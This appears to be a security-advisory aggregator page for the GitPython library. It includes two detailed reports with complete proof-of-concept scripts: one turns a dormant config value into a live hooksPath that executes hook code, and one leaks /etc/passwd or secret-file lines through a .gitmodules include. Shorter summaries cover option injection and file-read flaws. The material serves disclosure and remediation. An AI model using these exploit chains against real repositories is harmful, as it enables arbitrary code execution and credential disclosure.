Exploit path 1. A .git/config (or any file merged into it via [include], see below) already contains a dormant, syntactically-legitimate multi-line quoted value, e.g.: [core] zzz = "A\nhooksPath = ../evil-hooks\ " No raw \r, \n, or NUL byte appears on disk — this is standard git quoting + backslash-continuation. Real git config --get core.hookspath returns nothing at this point (inert); git config --get core.zzz returns the decoded string A\nhooksPath = ../evil-hooks, identically to GitPython's own reader. 2. The host application opens this repo with GitPython (git.Repo(path), readonly=False implicitly for a normal configwriter() use) and performs any single, unrelated, legitimate config write on the same GitConfigParser instance — e.g. repo.configwriter().setvalue("user", "name", "Test User"). This is one of the most ordinary operations a GitPython-based tool performs. 3. GitConfigParser.write()/writesection() re-serializes every resident value, including the dormant zzz entry, using the unsafe path. The file on disk now contains, verbatim: [core] ... zzz = A hooksPath = ../evil-hooks 4. Real git config --get core.hookspath now returns ../evil-hooks — a key that did not exist before step 2, created purely by GitPython's own write. 5. The next hook-firing git operation (e.g. git commit) executes ../evil-hooks/pre-commit (or whatever hook name the operation looks for), i.e. arbitrary attacker-chosen code execution.

Impact Arbitrary code execution, on par with (and more directly triggered than) the already-accepted, High-severity GHSA-mv93-w799-cj2w/GHSA-v87r-6q3f-2j67 "Newline injection... enables RCE via core.hooksPath" advisories, and requiring no unsafe caller argument at all — only an attacker-influenced config file plus one ordinary, unrelated write.

Preconditions - A config file GitPython opens read-write already contains an attacker-chosen, syntactically-valid multi-line value shaped like <anything>\n<injected-key> = <injected-value>. Realistic delivery: 1. Pre-existing .git directory shipped with a repository — vendored/template repos, CI workspace/layer caches that preserve .git, "repo" tarball/zip distributions that include .git/config. The poisoned value sits directly in .git/config. 2. The documented shared-config [include] pattern ([include] path = ../<repo-tracked-file>, pointing at a file inside the working tree) — GitConfigParser.read() merges included files' sections into the same sections dict used for writing, so a malicious public repository can ship the poisoned value inside a normal tracked file and have it activated the first time any GitPython-based tool performs any unrelated config write after clone (this requires the victim's own .git/config to already reference the include, e.g. via project setup tooling that adds include.path). 3. Any host application that opens an attacker-influenced config file for read-write and later performs a legitimate write — the exact trust-boundary the maintainers already accepted as realistic for GHSA-v87r-6q3f-2j67 (their writeup cites MLRun's project.push()). - No authentication/role requirement inside GitPython itself.

Evidence - git/config.py:460 (stringdecode), invoked at git/config.py:519 and :541 inside read()'s multi-line handling — decodes unicodeescape, turning a literal \n escape into a real embedded LF. - git/config.py:~694-712 (write()/writesection()) — uses self.valuetostring(v) (unsafe variant) and .replace("\n", "\n\t") with no re-quoting. - c417af46 (the CR/LF/NUL guard commit) touches only the setter path and explicitly states it preserves existing read behavior for multi-line values, per its own commit message. - git log -S"stringdecode", -S"writesection", -S'replace("\n", "\n\t")' on git/config.py show these code paths have only ever been touched by non-security formatting/refactor commits (a5fc1d86, b825dc74, cb68eef0, 21ec5299), never by a security fix. - PoC (gitpython-002-poc.py, embedded below) reproduces the full chain end-to-end against this exact checkout: dormant value → one unrelated configwriter() write → core.hookspath becomes live per real git config --get → a subsequent git commit executes the injected hook and writes a benign marker file.

False-positive check (adversarial re-read) - Is this just a repeat of the four already-fixed config-injection GHSAs? No — all four require the caller to pass a Python string containing a raw control character or forbidden syntax character as an argument to a setter; all four are now blocked by UNSAFECONFIGCHARSRE/VALIDCONFIGOPTIONNAMERE/the section quote-state-machine. This finding requires no such caller argument: the payload is smuggled entirely inside a config file using standard, valid git escaping that the guard never inspects, and only becomes dangerous through GitPython's own unguarded re-serialization of a value it already holds. Confirmed via known-advisories.json (26 entries, none withdrawn) — none describe this read→corrupt-on-rewrite mechanism. - Does real git actually round-trip this value safely (i.e. is this a GitPython-only bug, not a "normal" file)? Yes, confirmed empirically: after the same crafted .git/config is rewritten by real git config user.name Test2 (a control test), the multi-line zzz entry is preserved byte-for-byte in its original quoted/continuation form — only GitPython's writer corrupts it. - Is there a guard elsewhere that would catch the resulting bare hooksPath = ... line before it's trusted? No — once on disk, it is indistinguishable from a directive the user set intentionally; core.hooksPath is honored unconditionally by git's hook-invocation machinery. - Does this require an unrealistic precondition? The precondition (a config file with attacker-influenced content, later legitimately rewritten) mirrors the exact threat model the maintainers already treated as realistic and fixed for GHSA-v87r-6q3f-2j67. - Verdict: no concrete blocker found. CONFIRMED — reproduced independently end-to-end (dormant value in place → benign unrelated configwriter() write → core.hookspath live per real git → hook fires on git commit, marker file written).

Remediation Either (a) make writesection()/write() use valuetostringsafe() (or equivalent re-quoting) for every resident value, including those that originated from read(), so an embedded newline is always re-emitted as a properly quoted+backslash-continued value rather than a bare new line, or (b) reject/neutralize embedded control characters in values at read time before they can reach sections at all if the parser is opened in readonly=False mode, or (c) canonicalize output using git's own git config --file <path> --replace-all semantics instead of a hand-rolled writer. Option (a) is the most surgical fix and matches the spirit of valuetostringsafe() already used on the setter path.

Confidence High. Root cause independently re-derived and confirmed by direct code reading; full exploit chain (dormant value → benign unrelated write → live core.hookspath → hook execution with a benign marker) reproduced twice, independently, against the current HEAD.

Proof-of-Concept source (gitpython-002-poc.py)

python #!/usr/bin/env python3 """ GITPYTHON-002 PoC: a dormant, legitimately-encoded multi-line git-config value (standard quoted + backslash-continuation syntax, containing an escaped "\\n" that decodes to a real embedded newline in memory) is corrupted into a NEW, live config key the moment GitConfigParser re-serializes it during any unrelated write. If the smuggled second "line" looks like "hooksPath = <attacker path>", it becomes a real, active core.hooksPath after one unrelated GitPython config write, and fires attacker code on the next hook-triggering git operation (e.g. git commit).

This is CWE-88/CWE-94 style argument/config injection, but via the READ path (a config file GitPython parses and later rewrites), not via a Python kwarg argument -- distinct from the already-fixed GHSA-mv93-w799-cj2w / GHSA-v87r-6q3f-2j67 / GHSA-3rp5-jjmw-4wv2 / GHSA-jm78-9fvv-mhgr, which all guard the setter-argument surface only.

Run: PYTHONPATH="<repo>:<repo>/gitdb:<repo>/smmap" python3 gitpython-002-poc.py <workdir>

Benign: only writes/reads inside <workdir>. The "malicious" hook just writes a marker file; no destructive/exfiltrating payload. Exits non-zero and prints "NOT VULNERABLE" if the corruption / hook does not fire. """ import os import subprocess import sys

def main(): workdir = sys.argv[1] if len(sys.argv) > 1 else "/tmp/gitpython-002-poc" repodir = os.path.join(workdir, "repo") hooksdir = os.path.join(workdir, "evil-hooks") marker = os.path.join(workdir, "PWNEDMARKER.txt")

for p in (repodir, hooksdir): os.makedirs(p, existok=True) if os.path.exists(marker): os.remove(marker)

subprocess.run(["git", "init", "-q", "-b", "main", repodir], check=True) subprocess.run(["git", "-C", repodir, "config", "user.email", "test@example.com"], check=True) subprocess.run(["git", "-C", repodir, "config", "user.name", "Test"], check=True)

# Rewrite .git/config with a dormant, 100%-valid multi-line quoted value # inside [core] (before any other section). No raw CR/LF/NUL byte is # written to disk here -- this is standard git config quoting + # backslash-line-continuation, decoded by both real git and GitConfigParser # into the Python string 'A\nhooksPath = ../evil-hooks'. cfgpath = os.path.join(repodir, ".git", "config") with open(cfgpath) as f: original = f.read() poisonedentry = '\tzzz = "A\\nhooksPath = ../evil-hooks\\\n"\n' # Insert right after the [core] header line so it lives in the same section. newconfig = original.replace("[core]\n", "[core]\n" + poisonedentry, 1) with open(cfgpath, "w") as f: f.write(newconfig)

# Confirm it's inert per real git before touching GitPython. pre = subprocess.run( ["git", "-C", repodir, "config", "--get", "core.hookspath"], captureoutput=True, text=True, ) if pre.returncode == 0: print("SETUP ERROR: core.hookspath already set before GitPython touched anything") sys.exit(2)

# Malicious hook: benign marker only. hookpath = os.path.join(hooksdir, "pre-commit") with open(hookpath, "w") as f: f.write('#!/bin/sh\necho "PWNED-VIA-GITPYTHON-CONFIG-INJECTION" > "%s"\nexit 0\n' % marker) os.chmod(hookpath, 0o755)

import git # gitpython under test

repo = git.Repo(repodir) before = repo.configreader().getvalue("core", "zzz") print("core.zzz before any GitPython write =", repr(before))

# ONE totally unrelated, benign write -- this is the only "attacker-adjacent" # action required, and it is something virtually every GitPython consumer # does routinely (setting an option, adding a remote, updating a branch's # tracking config, ...). with repo.configwriter() as cw: cw.setvalue("user", "name", "Test User")

post = subprocess.run( ["git", "-C", repodir, "config", "--get", "core.hookspath"], captureoutput=True, text=True, ) if post.returncode != 0: print("NOT VULNERABLE: core.hookspath still absent after the unrelated write") sys.exit(1)

injectedpath = post.stdout.strip() print("core.hookspath is now LIVE after one unrelated write:", injectedpath)

# Trigger the hook with a normal commit to prove it fires. with open(os.path.join(repodir, "file2.txt"), "w") as f: f.write("change\n") subprocess.run(["git", "-C", repodir, "add", "file2.txt"], check=True) subprocess.run( ["git", "-C", repodir, "-c", "user.email=t@example.com", "-c", "user.name=T", "commit", "-q", "-m", "trigger hook"], check=True, )

if os.path.isfile(marker): with open(marker) as f: content = f.read().strip() print("VULNERABLE: hook fired, marker content =", content) sys.exit(0) else: print("NOT VULNERABLE: hook did not fire") sys.exit(1)

if name == "main": main()

1 / 2
Source: GitHub
First published (updated )
Severity
8.6
Infoleak
AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

[HIGH] Arbitrary local file content disclosure via [include] directive in untrusted .gitmodules (SubmoduleConfigParser never disables mergeincludes)

- CWE: CWE-200 (Exposure of Sensitive Information) / CWE-73 (External Control of File Name or Path) - Affected component: git/objects/submodule/base.py, Submodule.configparser() (~line 273) constructing SubmoduleConfigParser(fpmodule, readonly=readonly); git/config.py, GitConfigParser.init (mergeincludes default), GitConfigParser.read()/includedpaths() (include-path resolution, ~lines 630-685), GitConfigParser.read() (~line 493-498, MissingSectionHeaderError) - Affected version: GitPython at HEAD (9729ed3b948f2bde09f1f188c5311e172212b67e, 2026-08-05, VERSION 3.1.58)

Reachability GitConfigParser.init defaults mergeincludes=True: any config file it parses has its [include] (and, when a repo= is supplied, [includeIf ...]) directives followed and merged in. The maintainers already recognized this as dangerous for one specific case and fixed it in commit 41ecc6a4 ("Disable mergeincludes in config writers"), which passes mergeincludes=False when Repo.configwriter() builds its parser (git/repo/base.py).

That fix never touched Submodule.configparser(). This method builds the parser used for every read of a repo's submodule configuration — repo.submodules, Submodule.iteritems(), Submodule.config() — via SubmoduleConfigParser(fpmodule, readonly=readonly), passing neither mergeincludes=False nor repo=. The True class default is therefore inherited unchanged, and fpmodule here is .gitmodules — the single most attacker-controlled config file in the entire codebase, since it ships verbatim as tracked content inside any cloned repository.

GitConfigParser.read()'s include-path resolution (~line 662-680) performs no containment check: osp.isabs(includepath) short-circuits the path join entirely for an absolute path, and a relative path is joined with osp.join(osp.dirname(filepath), includepath) / osp.normpath()'d with no check that the result stays under the repository. ~ is expanded via osp.expanduser. The only gate before opening is os.access(includepath, os.ROK) — a readability check, not a path restriction.

Once opened, GitConfigParser.read() parses the target file as git-config INI. If the first non-blank/non-comment line is not a [section] header — true of virtually any non-gitconfig file (source code, /etc/passwd, .env files, credential files, logs, JSON/YAML) — it raises configparser.MissingSectionHeaderError(fpname, lineno, line). Python's stdlib formats this exception's str() as "File contains no section headers.\nfile: %r, line: %d\n%r" % (fpname, lineno, line) — it embeds the verbatim content of that file's first line in the exception message. Submodule.iteritems() catches only (IOError, BadName), not configparser.Error, so this exception propagates straight out of the ordinary, read-only repo.submodules call.

Root cause Parity gap between two config-parser construction sites for the exact same footgun: Repo.configwriter() was hardened against mergeincludes in 2023 (41ecc6a4); Submodule.configparser() — which parses .gitmodules, content that is always attacker-controlled the moment a repository is cloned from an untrusted source — was never given the same treatment. (The submodule write-mode config parser at git/objects/submodule/base.py for .git/modules/<name>/config — a different, locally-generated file — has correctly passed mergeincludes=False since 2022, underscoring that the omission for .gitmodules reads looks like an oversight rather than a considered exception.)

Exploit path 1. Attacker crafts a repository whose .gitmodules contains a legitimate-looking [submodule ...] section plus: [include] path = /etc/passwd (an absolute path bypasses any traversal reasoning entirely; a relative ../../../../etc/passwd-style path works too). 2. Victim performs the extremely common, entirely read-only operation of enumerating a cloned repo's submodules: list(repo.submodules) (or any for sm in repo.submodules) — no update(), init(), or checkout of any kind required. 3. SubmoduleConfigParser (inheriting mergeincludes=True) follows the [include] directive, opens /etc/passwd, and GitConfigParser.read() raises MissingSectionHeaderError whose message embeds /etc/passwd's first line verbatim. 4. This exception surfaces wherever the host application observes exceptions from GitPython — CI logs, error pages, exception trackers, or any dependency-scanner/code-review-bot/hosting-platform tool built on repo.submodules — disclosing the targeted file's first line to the attacker (directly, or indirectly via any channel that echoes the error).

Impact Non-blind local file content disclosure (first line) of any file readable by the victim process, triggered purely by attacker-controlled repository content and one routine, read-only GitPython call. Bounded to one line per triggering file (parsing aborts at the first MissingSectionHeaderError), but that line very often is the secret — .env files (DATABASEURL=..., APIKEY=...), single-line credential/token files, /etc/passwd's root entry for host fingerprinting. The primitive additionally serves as a generic error-based file-existence oracle for arbitrary host paths. This is materially stronger than the already-fixed, explicitly blind GHSA-cwvm-v4w8-q58c ("Blind local file inclusion", CVSS 4.0, git/refs/symbolic.py ref-name resolution) — that advisory's own writeup states it cannot disclose content; this one does, verbatim, via a different module (git/config.py's include resolution).

Preconditions - Victim clones (or otherwise opens with GitPython) a repository whose .gitmodules is attacker-controlled — the default trust model for any tool that processes third-party repositories (dependency scanners, CI, code hosting/review bots, "audit this repo" utilities — exactly the class of application GitPython itself is built for). - Victim performs any operation that touches repo.submodules — one of the most ordinary GitPython operations, requiring no submodule update/init/checkout. - No authentication/role requirement inside GitPython itself.

Evidence - git/config.py — GitConfigParser.init defaults mergeincludes=True. - git/objects/submodule/base.py:273 — SubmoduleConfigParser(fpmodule, readonly=readonly) passes neither mergeincludes nor repo=; git blame shows this call unchanged since the class was introduced, and git show 41ecc6a4 confirms that commit touched only git/repo/base.py's Repo.configwriter(), never this call site. - git/config.py includedpaths()/read() (~630-685) — absolute include paths bypass the join/normpath entirely (osp.isabs() short-circuit); no repository-boundary containment check exists anywhere in this path. - git/config.py read() (~493-498) — raises cp.MissingSectionHeaderError(fpname, lineno, line) with the raw file line embedded, matching Python stdlib configparser's own str behavior. - Submodule.iteritems() catches only (IOError, BadName) — configparser.Error (the base of MissingSectionHeaderError) is not swallowed. - PoC (gitpython-003-poc.py, embedded below) reproduces this end-to-end against this exact checkout via the public API only (Repo.clonefrom + list(repo.submodules), default arguments, no monkeypatching), against both a throwaway secret file and /etc/passwd.

False-positive check (adversarial re-read) - Is this the same bug as GHSA-hmq2-w58f-27jc? No — that advisory is about the .gitmodules submodule name driving moduleabspath/os.makedirs() (creating a git repository/module directory outside the working tree, a write/RCE-adjacent primitive via a completely different function). This finding is about the [include] directive in the same file reaching a config-parser read primitive — a different mechanism, different function, different impact class (content disclosure, not directory creation). - Is this the same bug as GHSA-cwvm-v4w8-q58c (blind LFI)? No — that advisory is explicitly documented by its own reporter as content-free/blind (existence-only), and lives in git/refs/symbolic.py's ref-name resolution feeding Repo.commit/tree/index.diff — an entirely different module and code path. This finding discloses actual file content via git/config.py's include-directive resolution. - Is the impact overstated given only one line leaks? No — this is an accurate scoping caveat already reflected in the severity/impact discussion, not a reachability blocker: attacker has full control over which path is targeted (absolute paths work unconditionally), requires zero interaction beyond the single most common submodule operation, and the PoC demonstrates a real, working end-to-end disclosure through the standard clonefrom + list(repo.submodules) workflow. - Could the exception simply be silently swallowed by GitPython before reaching the caller? No — confirmed by reading Submodule.iteritems()'s exception handling, which catches only IOError/BadName; configparser.MissingSectionHeaderError propagates uncaught. - Verdict: no concrete blocker found. CONFIRMED — reproduced independently against both a throwaway secret file and /etc/passwd.

Remediation Pass mergeincludes=False when constructing SubmoduleConfigParser in Submodule.configparser() (git/objects/submodule/base.py), mirroring the existing fix in Repo.configwriter() (commit 41ecc6a4) — .gitmodules content is always attacker-controlled and should never be allowed to pull in include/includeIf directives. As defense in depth, GitConfigParser.read()'s include-path resolution should enforce that resolved include paths stay within the repository's own directory tree, and parsing-error messages (MissingSectionHeaderError/ParsingError) should avoid embedding raw file content when parsing a file the caller did not explicitly ask to open.

Confidence High. Root cause confirmed by direct code reading across both git/config.py and git/objects/submodule/base.py, cross-checked against the fix commit that hardened the sibling code path but not this one; exploit chain reproduced independently, twice, against the current HEAD (a throwaway secret file and /etc/passwd).

Proof-of-Concept source (gitpython-003-poc.py)

python #!/usr/bin/env python3 """ GITPYTHON-003 PoC: .gitmodules -- fully attacker-controlled content shipped inside a cloned repository -- can contain [include] path = <any local path>. Submodule.configparser() builds the parser used for repo.submodules (and other submodule reads) via SubmoduleConfigParser(fpmodule, readonly=...) without passing mergeincludes=False, so the class default mergeincludes=True is inherited. GitConfigParser then opens the target file; if it isn't valid git-config syntax (true of virtually any non-gitconfig file), Python's configparser.MissingSectionHeaderError embeds the file's first line verbatim in its exception message, which propagates out of the ordinary, read-only repo.submodules call -- a non-blind local file content disclosure primitive.

Run: PYTHONPATH="<repo>:<repo>/gitdb:<repo>/smmap" python3 gitpython-003-poc.py <workdir> <target-file>

Benign: reads only the given <target-file> (defaults to a throwaway secret file created under <workdir> if omitted) and never writes/exfiltrates it anywhere except printing it locally to prove the primitive. No destructive action. """ import os import subprocess import sys

def main(): workdir = sys.argv[1] if len(sys.argv) > 1 else "/tmp/gitpython-003-poc" targetfile = sys.argv[2] if len(sys.argv) > 2 else os.path.join(workdir, "secret.txt")

attackerrepo = os.path.join(workdir, "attacker-repo") dest = os.path.join(workdir, "dest") for p in (attackerrepo, dest): os.makedirs(p, existok=True)

if not os.path.exists(targetfile): os.makedirs(os.path.dirname(targetfile), existok=True) with open(targetfile, "w") as f: f.write("TOP-SECRET-DB-PASSWORD=hunter2-actual-secret-value\n")

subprocess.run(["git", "init", "-q", "-b", "main", attackerrepo], check=True) subprocess.run(["git", "-C", attackerrepo, "config", "user.email", "a@example.com"], check=True) subprocess.run(["git", "-C", attackerrepo, "config", "user.name", "Attacker"], check=True)

with open(os.path.join(attackerrepo, "file.txt"), "w") as f: f.write("hello\n")

with open(os.path.join(attackerrepo, ".gitmodules"), "w") as f: f.write( '[submodule "totally-normal-dep"]\n' "\tpath = vendor/dep\n" "\turl = https://example.com/dep.git\n" "[include]\n" "\tpath = %s\n" % targetfile )

subprocess.run(["git", "-C", attackerrepo, "add", "file.txt", ".gitmodules"], check=True) subprocess.run(["git", "-C", attackerrepo, "commit", "-q", "-m", "init"], check=True)

import git # gitpython under test import configparser

repo = git.Repo.clonefrom(attackerrepo, dest)

try: subs = list(repo.submodules) print("NOT VULNERABLE: no exception raised, submodules =", subs) sys.exit(1) except configparser.MissingSectionHeaderError as e: msg = str(e) print("VULNERABLE: MissingSectionHeaderError leaked file content via repo.submodules:") print(msg) with open(targetfile) as f: firstline = f.readline().rstrip("\n") if firstline in msg: print("Confirmed: target file's first line is present verbatim in the exception message.") sys.exit(0) else: print("NOT VULNERABLE: exception message did not contain the expected content") sys.exit(1)

if name == "main": main()

1 / 2
Source: GitHub
First published (updated )
Severity
8.4
Path Traversal
AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:L

GitPython before 3.1.58 fails to validate submodule names from .gitmodules files, allowing attackers to create Git repositories at arbitrary filesystem paths outside the intended clone directory. Attackers can craft malicious repositories with traversal sequences in submodule names that GitPython processes during submodule initialization, creating attacker-controlled Git repositories at escaped filesystem locations.

First published (updated )
Severity
8.7
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

GitPython before 3.1.58 contains a command execution vulnerability in the checkunsafeoptions guard that can be bypassed by combining a single-character kwarg with splitsinglecharoptions=False. Attackers can supply a crafted kwargs dictionary to guarded methods like clonefrom to emit a joined token parsed as --upload-pack, enabling arbitrary OS command execution at default allowunsafeoptions=False.

First published (updated )
Severity
7.2
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

GitPython versions before 3.1.58 contain an arbitrary file overwrite vulnerability in IndexFile.fromtree, IndexFile.reset, and IndexFile.mergetree methods that append caller-influenced treeish strings to git read-tree without option validation or argument separation. Attackers can inject the --index-output option to overwrite arbitrary files with a valid git-index blob, destroying existing file content at attacker-controlled writable paths.

First published (updated )
Severity
7.1
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

GitPython versions before 3.1.58 fail to validate options passed to git rm and git checkout commands in IndexFile.remove() and Head.checkout(). Attackers can supply --pathspec-from-file and --pathspec-file-nul parameters to read arbitrary files accessible to the process, with full file contents returned in GitCommandError.stderr.

First published (updated )
Severity
7

GitPython before 3.1.57 fails to guard git option forwarding in IndexFile.checkout() and TagReference.create(), allowing attackers to pass unsafe options via kwargs. Attackers can use --prefix to overwrite arbitrary files with repository content or -F to read arbitrary files returned in-band.

First published (updated )
Severity
8.7
OS Command Injection
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

GitPython versions before 3.1.54 contain a remote code execution vulnerability in the checkunsafeoptions guard that can be bypassed by smuggling git options inside single-character kwarg values. Attackers can supply crafted option dictionaries to clonefrom, fetch, pull, push, lsremote, itercommits, blame, or archive methods to execute arbitrary OS commands via the --upload-pack parameter.

First published (updated )
Severity
7.2
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

GitPython versions before 3.1.54 contain an arbitrary file overwrite vulnerability in the Diffable.diff method that fails to validate git options passed through kwargs. Attackers can supply the --output argument via the other parameter or output kwarg to write patch content to attacker-chosen file paths at process privilege level.

First published (updated )
Severity
7.7
OS Command Injection
AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

GitPython before 3.1.54 contains an incomplete denylist in unsafegitcloneoptions that omits --template, allowing attackers to achieve arbitrary command execution during clone operations. Attackers can supply --template pointing to a directory containing malicious post-checkout hooks that execute when git clones the repository.

First published (updated )
Severity
7.2
Path Traversal
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

GitPython before 3.1.57 fails to guard git option forwarding in IndexFile.checkout() and TagReference.create(), allowing attackers to pass unsafe options via kwargs. Attackers can use --prefix to overwrite arbitrary files with repository content or -F to read arbitrary files returned in-band.

First published (updated )
Severity
7.1
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

GitPython before 3.1.57 contains an incomplete denylist in the unsafegitarchiveoptions guard that omits --add-file and --add-virtual-file options. Attackers can supply these options to Repo.archive() to read arbitrary files from the filesystem and include them in the returned archive.

First published (updated )
Severity
7.3
AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

GitPython before 3.1.53 fails to properly escape section names in git config files, allowing attackers to inject arbitrary configuration directives through malicious submodule names. Attackers can inject core.sshCommand or other dangerous config keys into the victim's .git/config via createsubmodule or clonefrom operations, achieving remote code execution when git performs ssh operations.

First published (updated )
Severity
7

GitPython 3.1.50 fails to recognize joined short-option forms such as -u<value> (the short form of --upload-pack=<value>) when enforcing its default unsafe-option gate. When an application passes attacker-influenced clone options into Repo.clonefrom(..., multioptions=..., allowunsafeoptions=False), an attacker can supply -u<helper> to bypass the gate that blocks --upload-pack/-u, causing Git to execute the specified helper command during clone. Fixed in 3.1.51.

First published (updated )
Severity
7

GitPython before 3.1.52 is vulnerable to environment-variable exfiltration in Repo.clonefrom(). The caller-supplied remote URL is passed through Git.polishurl(), which on non-Cygwin platforms calls os.path.expandvars() on the URL before invoking git clone. An attacker who controls the clone URL can embed $NAME or ${NAME} tokens that are expanded to the values of the hosting process's environment variables (e.g., AWSSECRETACCESSKEY or GITHUBTOKEN). The resulting URL, now containing the secret, is transmitted over the network to an attacker-controlled host during the clone attempt, disclosing the secret.

First published (updated )
Severity
7
Command Injection

GitPython before 3.1.51 contains an incomplete command injection blocklist that fails to account for git's long-option prefix abbreviation feature. Attackers can bypass the unsafe options guard by using abbreviated option names like uploadp instead of uploadpack, which git resolves to dangerous options and executes arbitrary commands.

First published (updated )
Severity
7
Command Injection

GitPython before 3.1.51 fails to guard against dangerous Git options passed as keyword arguments in Repo.archive() and git.lsremote(), allowing command injection via options such as --exec/--upload-pack (leading to arbitrary command execution). Additionally, Repo.itercommits() and Repo.blame() do not check for leading-dash revision arguments, so a revision like --output=<path> can cause Git to open and truncate an arbitrary file. Exploitation requires an application that passes attacker-controlled arguments to these methods.

First published (updated )
Severity
9.3
OS Command Injection
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

GitPython 3.1.50 fails to recognize joined short-option forms such as -u<value> (the short form of --upload-pack=<value>) when enforcing its default unsafe-option gate. When an application passes attacker-influenced clone options into Repo.clonefrom(..., multioptions=..., allowunsafeoptions=False), an attacker can supply -u<helper> to bypass the gate that blocks --upload-pack/-u, causing Git to execute the specified helper command during clone. Fixed in 3.1.51.

First published (updated )
Severity
7.3
Input Validation
AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

GitPython before 3.1.50 fails to validate newline characters in the section parameter of configwriter(), allowing attackers to inject arbitrary section headers into .git/config. Attackers can inject newlines to create a forged [core] section with hooksPath pointing to attacker-controlled directories, achieving remote code execution when git hooks are triggered.

First published (updated )
Severity
8.6
Command Injection
AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

GitPython before 3.1.51 fails to guard against dangerous Git options passed as keyword arguments in Repo.archive() and git.lsremote(), allowing command injection via options such as --exec/--upload-pack (leading to arbitrary command execution). Additionally, Repo.itercommits() and Repo.blame() do not check for leading-dash revision arguments, so a revision like --output=<path> can cause Git to open and truncate an arbitrary file. Exploitation requires an application that passes attacker-controlled arguments to these methods.

First published (updated )
Severity
8.7
Infoleak
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

GitPython before 3.1.52 is vulnerable to environment-variable exfiltration in Repo.clonefrom(). The caller-supplied remote URL is passed through Git.polishurl(), which on non-Cygwin platforms calls os.path.expandvars() on the URL before invoking git clone. An attacker who controls the clone URL can embed $NAME or ${NAME} tokens that are expanded to the values of the hosting process's environment variables (e.g., AWSSECRETACCESSKEY or GITHUBTOKEN). The resulting URL, now containing the secret, is transmitted over the network to an attacker-controlled host during the clone attempt, disclosing the secret.

First published (updated )
Severity
8.7
OS Command Injection, Command Injection
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

GitPython before 3.1.51 contains an incomplete command injection blocklist that fails to account for git's long-option prefix abbreviation feature. Attackers can bypass the unsafe options guard by using abbreviated option names like uploadp instead of uploadpack, which git resolves to dangerous options and executes arbitrary commands.

First published (updated )

GitPython is a python library used to interact with Git repositories.<br>Security Fix(es):<br><li> Blind local file inclusion (CVE-2023-41040)</li> For more details about the security issue(s), including the impact, a CVSS<br>score, acknowledgments, and other related information, refer to the CVE<br>page listed in the References section.

Remedy

For details on how to apply this update, which includes the changes<br>described in this advisory, refer to:<br><a href="https://access.redhat.com/articles/11258" target="_blank">https://access.redhat.com/articles/11258</a>
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203